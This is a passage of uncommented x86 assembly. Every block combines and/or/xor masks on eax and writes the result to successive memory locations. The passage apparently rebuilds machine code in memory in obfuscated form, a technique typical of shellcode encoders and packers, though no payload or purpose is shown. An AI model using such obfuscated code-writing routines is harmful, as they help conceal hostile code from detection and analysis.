and eax, 0xb627c74
or eax, 0x80000080
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a50f386
and eax, 0x8100b054
or eax, 0x14890001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b9a947b
and eax, 0xbe132400
or eax, 0x41ecdb50
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fa7ec31
or eax, 0x5559cace
and eax, 0x9f0448a
or eax, 0x80000101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39ec8565
and eax, 0x2057d5b
and eax, 0x44000
or eax, 0xfffb0c85
mov dword [ebx], eax
add ebx, edx
and eax, 0x6192db56
and eax, 0x4bb3f5ff
and eax, 4
or eax, 0xb04d8bfb
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71272334
and eax, 0x81008083
or eax, 0x8014100
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c25352e
or eax, 0x2dfbac89
and eax, 0x858bb00d
or eax, 0x10000040
mov dword [ebx], eax
add ebx, edx
or eax, 0x29b4d7c4
and eax, 0x1ec136e3
and eax, 0x1c813640
or eax, 0xe37ec910
mov dword [ebx], eax
add ebx, edx
or eax, 0x6021c47c
and eax, 0xff4c9538
or eax, 3
mov dword [ebx], eax
add ebx, edx
or eax, 0xb2f2061
and eax, 0x86db57b
or eax, 0x104a84
mov dword [ebx], eax
add ebx, edx
and eax, 0x22bdf299
and eax, 0x84089
or eax, 0x3bc00502
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b1c884f
or eax, 0x4b6a08
and eax, 0x21482801
or eax, 0x10349444
mov dword [ebx], eax
add ebx, edx
and eax, 0x2263c530
and eax, 0x20400400
or eax, 0xb80498b
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e212ef2
and eax, 0x2000800
or eax, 0x4174e04d
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e2089f6
or eax, 0xee9341b
and eax, 0x9b4558b
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d4ce111
and eax, 0xa4f80090
or eax, 0x5b074805
mov dword [ebx], eax
add ebx, edx
and eax, 0x494a4a98
and eax, 0x48400890
or eax, 0x9005836f
mov dword [ebx], eax
add ebx, edx
and eax, 0x669c1daf
and eax, 0x40040189
or eax, 0xbf408400
mov dword [ebx], eax
add ebx, edx
or eax, 0x39201ac9
xor eax, 0x5d59b41
and eax, 0x48810488
or eax, 0x50afb77
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a3a3643
and eax, 0x80240
or eax, 0x1e18198
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f831a2e
and eax, 0x385098e1
and eax, 0
or eax, 0x8bd84d89
mov dword [ebx], eax
add ebx, edx
and eax, 0x20074885
and eax, 0x5660f225
and eax, 0x4001
or eax, 0xffff0894
mov dword [ebx], eax
add ebx, edx
and eax, 0x52a1491c
and eax, 0x5aa0c5d
and eax, 0x800814
or eax, 0x441533eb
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5fd16f50
xor eax, 0x6244b140
and eax, 0x7900e5ef
or eax, 0x4ff1a10
mov dword [ebx], eax
add ebx, edx
and eax, 0x3eafbddb
and eax, 0x1805891a
or eax, 0xc0400200
mov dword [ebx], eax
add ebx, edx
or eax, 0x4adbe796
and eax, 0x8801c082
or eax, 0x1000001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x206c5588
or eax, 0x4cbb5074
and eax, 0x4d8bd045
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
and eax, 0x1812bc43
and eax, 0x8001840
or eax, 0xd04d23a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bf8db0d
xor eax, 0x244d3d29
and eax, 0x55800044
or eax, 0xb0939
mov dword [ebx], eax
add ebx, edx
and eax, 0x407832ec
and eax, 0x5954a1af
and eax, 0x28
or eax, 0x1ea8390
mov dword [ebx], eax
add ebx, edx
and eax, 0x57b6fe8c
xor eax, 0x42d07e7e
and eax, 0x3305480
or eax, 0x88880109
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ea319
xor eax, 0x4135d90a
and eax, 0x4119d001
or eax, 0x4222044
mov dword [ebx], eax
add ebx, edx
or eax, 0x22c5eed9
and eax, 0x30b7cc0
or eax, 0x88000120
mov dword [ebx], eax
add ebx, edx
and eax, 0x14420774
and eax, 0x791e588b
and eax, 0x20000
or eax, 0x4d21c44d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ebe2d7f
and eax, 0x500d2900
or eax, 0x844012c8
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c5f8c69
and eax, 0x540b1068
or eax, 0x1800014
mov dword [ebx], eax
add ebx, edx
and eax, 0x58621dac
and eax, 0x40000028
or eax, 0x8c552b90
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a4433ee
and eax, 0x120
or eax, 0x458b1054
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e27f7a3
or eax, 0x5f40daa8
and eax, 0x48411ba0
or eax, 0xa0042014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f03e388
and eax, 0x502083c
or eax, 0x48890141
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e036546
and eax, 0x1800030
or eax, 0x4183c4
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ab535c4
and eax, 0xbf40580
or eax, 0x80004809
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58d95ceb
or eax, 0x39ea9fd2
and eax, 0x91899850
or eax, 0x4002005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x509df5de
and eax, 0xc5144d00
or eax, 0x3aebb240
mov dword [ebx], eax
add ebx, edx
or eax, 0x53fc87b7
or eax, 0x2e2e8e6e
and eax, 0x89b4458b
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c4bea04
and eax, 0x4ef9b315
and eax, 0x4cf92005
or eax, 0xb3061c80
mov dword [ebx], eax
add ebx, edx
or eax, 0x94a5010
and eax, 0xb44d0895
or eax, 0x836a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22595bbe
and eax, 0x8000c001
or eax, 0x9012982
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33d79c3e
or eax, 0x7356600b
and eax, 0x9182340d
or eax, 0x4098040
mov dword [ebx], eax
add ebx, edx
xor eax, 0xcc86137
and eax, 0x9943d540
or eax, 0x66bc2a00
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f5310e9
and eax, 0xff3c9529
or eax, 0x12
mov dword [ebx], eax
add ebx, edx
or eax, 0x60ecaade
and eax, 0x2d7cbfff
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
or eax, 0xdb807f1
xor eax, 0x1511b421
and eax, 0x38ec418a
or eax, 0x3000401
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c558527
and eax, 0x8440001
or eax, 0x2639e044
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ed2c2d0
xor eax, 0x447a5cfe
and eax, 0xa080c8a
or eax, 0x5d04101
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f3f299f
and eax, 0x5cb69a99
and eax, 0x8000889
or eax, 0x33cc4526
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3fad69fe
xor eax, 0x6aee15ce
and eax, 0x220d100d
or eax, 0x70c440
mov dword [ebx], eax
add ebx, edx
or eax, 0x62199a46
and eax, 0x25c540b
or eax, 0x1800180
mov dword [ebx], eax
add ebx, edx
and eax, 0x3619b5bb
or eax, 0xf91f3c9
and eax, 0xa10e041
or eax, 0x10640814
mov dword [ebx], eax
add ebx, edx
or eax, 0x67924093
or eax, 0x4926c490
and eax, 0x3d44483
or eax, 0x80000108
mov dword [ebx], eax
add ebx, edx
or eax, 0x27f57764
and eax, 0x58101e8
or eax, 0x40080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x108a8bb8
and eax, 0x76b265ee
and eax, 0x180
or eax, 0xd44d8a54
mov dword [ebx], eax
add ebx, edx
xor eax, 0x138e432a
and eax, 0x43c7a1d9
and eax, 0x40c00008
or eax, 0x34004d03
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46d11199
and eax, 0x30110800
or eax, 0xc4448309
mov dword [ebx], eax
add ebx, edx
or eax, 0x345b9c17
and eax, 0x389e6be0
and eax, 0xa00
or eax, 0x8901e083
mov dword [ebx], eax
add ebx, edx
and eax, 0x7eb65712
or eax, 0x5175c930
and eax, 0x1061c010
or eax, 0xa0883445
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a9f9308
and eax, 0x899000
or eax, 0x8b766ffd
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2faaf8fc
and eax, 0x84410501
or eax, 0x488258e4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26c09a33
and eax, 0x6c06a3a3
and eax, 0x48008080
or eax, 0x84cc4c4c
mov dword [ebx], eax
add ebx, edx
and eax, 0x736229dc
and eax, 0x23021f69
and eax, 0x848
or eax, 0xccccc484
mov dword [ebx], eax
add ebx, edx
or eax, 0x182b6b63
and eax, 0x7e3314cc
and eax, 0x4c0004cc
or eax, 0x80ccc800
mov dword [ebx], eax
add ebx, edx
xor eax, 0xfb17bdb
or eax, 0x67369aa1
and eax, 0xe40b1584
or eax, 0x8804048
mov dword [ebx], eax
add ebx, edx
or eax, 0x2274cdce
and eax, 0x94cc80
or eax, 0x2001
mov dword [ebx], eax
add ebx, edx
or eax, 0x194e55df
and eax, 0x1c60000
or eax, 0x44010000
mov dword [ebx], eax
add ebx, edx
or eax, 0xb294bbb
and eax, 0x1284a98
or eax, 0x10b044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x211abe3c
and eax, 0x4400
or eax, 0xc0458300
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70bab49c
and eax, 0x1198
or eax, 0x803
mov dword [ebx], eax
add ebx, edx
or eax, 0x85a35f7
or eax, 0x2ab96876
and eax, 0x8b845c7
or eax, 0x85000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x276fe7e6
and eax, 0x870000c0
or eax, 0x40000008
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a9096d7
xor eax, 0x40e8c439
and eax, 0x4184044
or eax, 0x48c01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5403ef28
and eax, 0x40070001
or eax, 0x5c00000
mov dword [ebx], eax
add ebx, edx
and eax, 0x20f507aa
or eax, 0x4be7e7a4
and eax, 0x1400084
or eax, 0x181850
mov dword [ebx], eax
add ebx, edx
and eax, 0x46685030
and eax, 0x400000
or eax, 0xe005c700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4aa6e96c
and eax, 0x12400
or eax, 0x1001
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c8b204c
and eax, 0x2abbde39
and eax, 0
or eax, 0x58b445c7
mov dword [ebx], eax
add ebx, edx
and eax, 0x7db8e474
and eax, 0x68e00ff8
and eax, 0x40000040
or eax, 0x870000a8
mov dword [ebx], eax
add ebx, edx
or eax, 0x79fd2754
and eax, 0x73dd2444
or eax, 0x9801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x689cdb98
xor eax, 0x7acc69c
and eax, 0x4c50001
or eax, 0x41020000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c5a1881
and eax, 0x8c1880
or eax, 0x42e474
mov dword [ebx], eax
add ebx, edx
or eax, 0x26cd88fc
and eax, 0x2445c400
or eax, 0xc8000300
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d1d6f84
and eax, 0x600
or eax, 0xa856
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a2aef0e
and eax, 0x42204546
or eax, 0x10d00081
mov dword [ebx], eax
add ebx, edx
or eax, 0x21ce5948
and eax, 0x43000145
or eax, 0x84000030
mov dword [ebx], eax
add ebx, edx
or eax, 0x302921e7
and eax, 0x40574b9d
and eax, 0x40000005
or eax, 0xa328c840
mov dword [ebx], eax
add ebx, edx
and eax, 0x3f7c73d5
and eax, 0x1000000
or eax, 0x44c70000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a4e9b85
or eax, 0x7858de32
and eax, 0x2db90
or eax, 0x2040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c6fe3b2
and eax, 0x28450000
or eax, 0xc000c700
mov dword [ebx], eax
add ebx, edx
or eax, 0x475859f3
or eax, 0x50785ab6
and eax, 0x4da1
or eax, 0x2000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ac82d94
and eax, 0x5c094c4c
and eax, 0x400
or eax, 0x40b041c7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x300d454
and eax, 0x43000091
or eax, 0x84000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1486242a
or eax, 0x483d2b32
and eax, 0x5bb2c01
or eax, 0x2040d044
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b356202
or eax, 0x531d25f0
and eax, 0x45c70000
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x773c852b
xor eax, 0x200d5c73
and eax, 0x121140
or eax, 0x10020a4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x702b26f1
and eax, 0x50010700
or eax, 0x8844c000
mov dword [ebx], eax
add ebx, edx
or eax, 0x14de311e
and eax, 0x1341a
or eax, 0x821
mov dword [ebx], eax
add ebx, edx
or eax, 0x29373fd3
or eax, 0x37f421a6
and eax, 0x22f005c7
or eax, 0x40084000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf93976f
or eax, 0x33de055c
and eax, 0x470000dc
or eax, 0x80000002
mov dword [ebx], eax
add ebx, edx
and eax, 0x31d271ed
and eax, 0x1000044
or eax, 0x56fac401
mov dword [ebx], eax
add ebx, edx
and eax, 0x2bf92939
xor eax, 0x12b6b929
and eax, 0x10480000
or eax, 0xa6a00001
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f312cb9
and eax, 0x20000000
or eax, 0xc8000052
mov dword [ebx], eax
add ebx, edx
and eax, 0x47cd4215
or eax, 0x34b27523
and eax, 0x421
or eax, 0x10a40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29f40bbb
or eax, 0x21e5d04
and eax, 0x2118458a
or eax, 0x4000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x4117f451
and eax, 0x88
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6fb56079
and eax, 0x6031
or eax, 0x9404
mov dword [ebx], eax
add ebx, edx
and eax, 0x4937e1a8
xor eax, 0x53e9ae11
and eax, 0x490a00
or eax, 0xc048100
mov dword [ebx], eax
add ebx, edx
and eax, 0x181b8144
and eax, 0x3d1eee95
and eax, 0x8008000
or eax, 0xd0344181
mov dword [ebx], eax
add ebx, edx
and eax, 0x73f67cba
and eax, 0x50000000
or eax, 0xa1810000
mov dword [ebx], eax
add ebx, edx
or eax, 0x371a62e8
and eax, 0x10200
or eax, 0x8913
mov dword [ebx], eax
add ebx, edx
or eax, 0x39c225e3
and eax, 0x18408180
or eax, 0x6380008
mov dword [ebx], eax
add ebx, edx
and eax, 0x779ffe6c
and eax, 0x14080000
or eax, 0x41830000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5db6edb6
and eax, 0x111efc71
and eax, 0xa8030
or eax, 0xc2e001cc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b541395
and eax, 0x89000009
or eax, 0x14
mov dword [ebx], eax
add ebx, edx
or eax, 0x4654f9ef
or eax, 0x353957eb
and eax, 0x4509fc55
or eax, 0x820000
mov dword [ebx], eax
add ebx, edx
and eax, 0x134c67d2
and eax, 0x40
or eax, 0xfc4503a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d997768
or eax, 0x3d6b02da
and eax, 0xa9e04488
or eax, 0x42000101
mov dword [ebx], eax
add ebx, edx
or eax, 0x136401b9
and eax, 0xe0440109
or eax, 0x98a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68c39f72
and eax, 0x88000003
or eax, 0x101c180
mov dword [ebx], eax
add ebx, edx
or eax, 0x60ed2744
and eax, 0x6d30f230
and eax, 0x4100e000
or eax, 0x148b004d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x104cc54d
and eax, 0x40452100
or eax, 0x98101ae0
mov dword [ebx], eax
add ebx, edx
and eax, 0x2babf458
and eax, 0
or eax, 0xa88d0f
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a5aeb60
and eax, 0x449400a6
and eax, 0x800000
or eax, 0x450b0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4a330a9c
xor eax, 0x3b489e93
and eax, 0x1408290
or eax, 0x80016c
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b26b62a
and eax, 0xbe40588
or eax, 0x80184001
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c40f968
and eax, 0xd20b049
or eax, 0x40030004
mov dword [ebx], eax
add ebx, edx
and eax, 0x31ca89b9
xor eax, 0x60cdc8fd
and eax, 0x14a40e4
or eax, 0x8a003408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2048af0a
and eax, 0x102c044
or eax, 0x54390411
mov dword [ebx], eax
add ebx, edx
and eax, 0x175a6858
or eax, 0x2f807938
and eax, 0xb027930
or eax, 0x80400484
mov dword [ebx], eax
add ebx, edx
xor eax, 0x72282cb
and eax, 0x8800c845
or eax, 0x60830000
mov dword [ebx], eax
add ebx, edx
and eax, 0x430c51a7
and eax, 0x40000001
or eax, 0x88458900
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a8ae683
and eax, 0x509408b8
and eax, 0
or eax, 0x2bf04d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5baca795
xor eax, 0x7f9062ea
and eax, 0xd888844
or eax, 0x40014009
mov dword [ebx], eax
add ebx, edx
xor eax, 0x69a9724e
and eax, 0x24008a00
or eax, 0xc05501ac
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c46246f
or eax, 0x5d2ad7d5
and eax, 0x9285589
or eax, 0x82800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x626daa26
and eax, 0
or eax, 0xe883f045
mov dword [ebx], eax
add ebx, edx
and eax, 0x3aebc7cc
and eax, 0x20018000
or eax, 0xd0440901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39ed75a6
and eax, 0x27e246d0
and eax, 0x1a04480
or eax, 0x3a0c090b
mov dword [ebx], eax
add ebx, edx
or eax, 0x6390a78
and eax, 0x193d0849
or eax, 0x40a004
mov dword [ebx], eax
add ebx, edx
and eax, 0x36c37e3f
or eax, 0x4652e7af
and eax, 0x240458b
or eax, 0x1ac1000
mov dword [ebx], eax
add ebx, edx
or eax, 0x47e938b7
and eax, 0x1646415
or eax, 0x10108040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2bd532dc
or eax, 0x34473ed0
and eax, 0x3ae44489
or eax, 0x1100102
mov dword [ebx], eax
add ebx, edx
or eax, 0x378800a2
and eax, 0x97c4401
or eax, 0x1b844
mov dword [ebx], eax
add ebx, edx
and eax, 0x50024661
and eax, 0x4401
or eax, 0x83c0098a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x715159d5
and eax, 0x40810048
or eax, 0xd0801a1
mov dword [ebx], eax
add ebx, edx
or eax, 0x3aabc974
xor eax, 0x1cf8ec82
and eax, 0x60510140
or eax, 0x9c048a80
mov dword [ebx], eax
add ebx, edx
and eax, 0x5549c6b3
and eax, 0x18280
or eax, 0x89004003
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6589a2c4
and eax, 0x4cbf0465
and eax, 0x44880045
or eax, 0x103fc10
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d49c4d2
and eax, 0x6fc7f675
and eax, 0xc00000
or eax, 0x10083b8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x125746a7
or eax, 0x63c4e402
and eax, 0x3904509
or eax, 0x88280080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7392ad94
and eax, 0x7722ccee
and eax, 0x4002800c
or eax, 0x81813441
mov dword [ebx], eax
add ebx, edx
or eax, 0x487ad16c
and eax, 0x80498101
or eax, 0x34040800
mov dword [ebx], eax
add ebx, edx
or eax, 0x6682fbb7
and eax, 0x32cc5183
or eax, 0x9200408
mov dword [ebx], eax
add ebx, edx
and eax, 0x30b12f0d
or eax, 0x22890262
and eax, 0x12280041
or eax, 0x154f814
mov dword [ebx], eax
add ebx, edx
or eax, 0x64860532
and eax, 0x33dc4503
or eax, 0x8000088
mov dword [ebx], eax
add ebx, edx
or eax, 0x2dab24df
and eax, 0xb7c6445
or eax, 0x9800
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ef5a300
and eax, 0x76d69673
and eax, 0x2440000
or eax, 0x1884d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a16f8f2
and eax, 0x491ab049
or eax, 0x4210804
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b218933
and eax, 0x9010800
or eax, 0x820875e4
mov dword [ebx], eax
add ebx, edx
or eax, 0x7600792b
and eax, 0xea014045
or eax, 0x828010
mov dword [ebx], eax
add ebx, edx
and eax, 0x175d3b5a
and eax, 0x10000
or eax, 0xc0548901
mov dword [ebx], eax
add ebx, edx
or eax, 0x66e7e0d3
and eax, 0x82c44183
or eax, 0x1000408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x41dee86f
and eax, 0x3706600b
and eax, 0
or eax, 0x458901e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x476dbe27
and eax, 0x240a9c4
or eax, 0xfd034000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x756f9a78
and eax, 0x6a119116
and eax, 0x2001114
or eax, 0x74e8eeeb
mov dword [ebx], eax
add ebx, edx
or eax, 0x7814eaf
and eax, 0x3000312
or eax, 0x88000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ec79731
xor eax, 0x24690b4d
and eax, 0x2001084d
or eax, 0xc1801400
mov dword [ebx], eax
add ebx, edx
or eax, 0x4896c01d
and eax, 0x985c
or eax, 0x1a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x398c86a4
and eax, 0x48ea66f2
and eax, 0x80
or eax, 0x1105f101
mov dword [ebx], eax
add ebx, edx
and eax, 0x4130dc22
and eax, 0x4c68e52d
and eax, 0
or eax, 0x558b0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b1a8d2a
and eax, 0x63828108
or eax, 0x80600000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2eecc8f4
and eax, 0x3c8f23bd
and eax, 0x1c
or eax, 0x81000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x331c0203
or eax, 0x14a05a6b
and eax, 0x80a72
or eax, 0xa180
mov dword [ebx], eax
add ebx, edx
and eax, 0x5a0b89d4
and eax, 0x2eb25f9a
and eax, 0x800
or eax, 0x788a8000
mov dword [ebx], eax
add ebx, edx
and eax, 0x503623ba
xor eax, 0x3adcd6a7
and eax, 0xa000006
or eax, 0x81000018
mov dword [ebx], eax
add ebx, edx
and eax, 0x76765c36
and eax, 4
or eax, 0xa92dd841
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78398002
or eax, 0x3dd0b4f8
and eax, 0x89000076
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x10d187e8
and eax, 0x10f32ec2
and eax, 0x810040
or eax, 0x4d0ad805
mov dword [ebx], eax
add ebx, edx
and eax, 0x67c0ca55
or eax, 0x6c93b28e
and eax, 0x480102c0
or eax, 0x904c0110
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ac3a16b
and eax, 0x82800089
or eax, 0x69504d00
mov dword [ebx], eax
add ebx, edx
or eax, 0x4605add6
xor eax, 0x477b033b
and eax, 0x80048a00
or eax, 0x50510109
mov dword [ebx], eax
add ebx, edx
or eax, 0x3117ae2d
xor eax, 0x1eb5e0c0
and eax, 0x89004281
or eax, 0x18002
mov dword [ebx], eax
add ebx, edx
or eax, 0x25cbd41d
and eax, 0x58bd015
or eax, 0x40000040
mov dword [ebx], eax
add ebx, edx
and eax, 0x25bc66a6
and eax, 0
or eax, 0xb8453bd0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b2e5af8
and eax, 0x1410908
or eax, 0x8407
mov dword [ebx], eax
add ebx, edx
or eax, 0x4fefb45d
or eax, 0x2c9284a9
and eax, 0x4d8b0000
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f16533f
and eax, 0x20400367
and eax, 0x324
or eax, 0x1c180c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x64afc0a2
and eax, 0x1e44180
or eax, 0x8a000c09
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4051aaeb
and eax, 0x4131e040
or eax, 0x140a0815
mov dword [ebx], eax
add ebx, edx
or eax, 0x2709727a
and eax, 0x30b7858
or eax, 0x88000480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c3e24e3
and eax, 0x87055801
or eax, 0x280aa044
mov dword [ebx], eax
add ebx, edx
and eax, 0x63fa4cf2
and eax, 0x4840
or eax, 0xc0859405
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b80451b
and eax, 0x40800000
or eax, 0xd0b0974
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2093877e
and eax, 0x399d680
and eax, 0x1008200
or eax, 0xc101c4
mov dword [ebx], eax
add ebx, edx
or eax, 0x397320db
and eax, 0x63ae91b1
and eax, 0x1800181
or eax, 0x8a444c08
mov dword [ebx], eax
add ebx, edx
and eax, 0x32c89b21
or eax, 0x371c63a7
and eax, 0x2804005
or eax, 0xc0039450
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f449dd3
or eax, 0x4d21c89b
and eax, 0xc4458901
or eax, 0x10100000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2792d4fa
xor eax, 0x1710a954
and eax, 0x1000100
or eax, 0x88fc448b
mov dword [ebx], eax
add ebx, edx
and eax, 0x2382444d
and eax, 0x1800401
or eax, 0x4c0ba044
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d84b0ab
and eax, 0x8000
or eax, 0xa04d09f4
mov dword [ebx], eax
add ebx, edx
or eax, 0x148da4fa
xor eax, 0x7f887d92
and eax, 0x83445008
or eax, 0xb00583
mov dword [ebx], eax
add ebx, edx
or eax, 0x41cbfe79
and eax, 0x418901ea
or eax, 0x14000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x13e17ae
and eax, 0x1a0
or eax, 0xa4458a54
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56d12846
or eax, 0x80651e6
and eax, 0x78804132
or eax, 0x4200409
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e8c003f
and eax, 0x345860b4
and eax, 0x24080010
or eax, 0xc8458b08
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1980f2fb
or eax, 0x4a0ce0a9
and eax, 0x7dcc492b
or eax, 0x100410
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7add36a6
xor eax, 0x1e1d22e8
and eax, 0x18140921
or eax, 0xe0418208
mov dword [ebx], eax
add ebx, edx
or eax, 0x22f2851e
or eax, 0x72a229c4
and eax, 0x78e0053b
or eax, 0x5085000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4bc1a1a5
and eax, 0x70418121
or eax, 0x80040a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e9ca9ab
and eax, 0x30040121
or eax, 0x4de0441a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ff99928
and eax, 0x6549504e
and eax, 0x40090000
or eax, 0xb4448b19
mov dword [ebx], eax
add ebx, edx
or eax, 0x67a4cd6c
and eax, 0x75e44d31
or eax, 2
mov dword [ebx], eax
add ebx, edx
or eax, 0x73987922
and eax, 0x54540900
or eax, 0x88018208
mov dword [ebx], eax
add ebx, edx
and eax, 0x19e7838c
and eax, 0x18400108
or eax, 0x65805433
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4be2806f
and eax, 0x20008100
or eax, 0xc8450a09
mov dword [ebx], eax
add ebx, edx
and eax, 0x5500269c
xor eax, 0x405e7c16
and eax, 0x6802
or eax, 0x89018081
mov dword [ebx], eax
add ebx, edx
and eax, 0x40402dd0
or eax, 0x20a1b4fe
and eax, 0x81a844
or eax, 0x4d0a4001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a2e4250
and eax, 0x1818214
or eax, 0x4001c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x30c7cdc6
and eax, 0xc00180
or eax, 0x8b1c4c09
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1156303
and eax, 0x92400
or eax, 0x55329055
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2125d623
or eax, 0x6b3977ce
and eax, 0xb3074f4
or eax, 0x80000800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2fc59ced
and eax, 0x401a001
or eax, 0x41021c44
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c8ddab
and eax, 0x1400
or eax, 0x8b0860e0
mov dword [ebx], eax
add ebx, edx
and eax, 0x3bf81823
and eax, 0x9080000
or eax, 0x4433cc4d
mov dword [ebx], eax
add ebx, edx
or eax, 0x53988d07
and eax, 0xb204c44
or eax, 0x80003090
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5440246c
and eax, 0x55204810
or eax, 0x3a445
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79499324
and eax, 0xc400970
or eax, 0x90158080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48de1c47
and eax, 0x673ca989
and eax, 0x80181
or eax, 0x83e4440a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x267b27ea
and eax, 0x5810040
or eax, 0x40080180
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a0249cd
and eax, 0x1c0901cc
or eax, 0x80748220
mov dword [ebx], eax
add ebx, edx
and eax, 0x1e059d73
and eax, 0x3ead9d0b
and eax, 0x8000100
or eax, 0x83087400
